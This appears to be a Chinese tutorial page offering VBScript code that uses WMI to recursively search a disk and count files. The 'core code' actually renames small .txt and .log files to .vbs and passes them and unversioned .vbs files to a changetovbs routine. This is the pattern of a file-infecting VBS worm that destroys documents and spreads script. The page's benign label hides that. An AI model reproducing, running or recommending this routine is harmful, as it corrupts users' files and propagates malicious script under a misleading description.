VBS調(diào)用WMI遍歷搜索硬盤文件并計數(shù)的方法
更新時間:2016年10月11日 23:20:48 投稿:mdxy-dxy
這篇文章主要介紹了VBS調(diào)用WMI遍歷搜索硬盤文件并計數(shù)的方法,需要的朋友可以參考下
多年之前寫的一個VBS調(diào)用WMI來遍歷搜索硬盤文件,并計數(shù)的函數(shù),今天整理網(wǎng)盤,看到了,發(fā)上來
核心代碼:
Function wmisfile(path_sf,justcnt)
'On Error Resume Next
StrComputer = "."
Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
Set FileList = objWMIService.ExecQuery _
("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
& "ResultClass = CIM_DataFile")
For Each objFile In FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <= 50000 Then
Select Case ename
Case "txt","log"
path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
Call changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case "vbs"
If checkversion(fname) = False Then
Call changetovbs(fname,fname)
justcnt = justcnt + 1
End If
End Select
End If
Next
Set colSubfolders = objWMIService.ExecQuery _
("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
& "Where AssocClass = Win32_Subdirectory " _
& "ResultRole = PartComponent")
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function
相關(guān)文章
VBS For Next循環(huán)的一些細節(jié)
For Next 語句是 VBS 中常用的循環(huán)語句,你可能已經(jīng)用過無數(shù)次 For Next 循環(huán),但是你是否注意過它的一些細節(jié)呢2013-01-01
VBS調(diào)用WMI實現(xiàn)搜索硬盤mp3文件
如果你想用遞歸搜索我也沒辦法。下面的程序搜索電腦上所有的MP3文件。2011-01-01

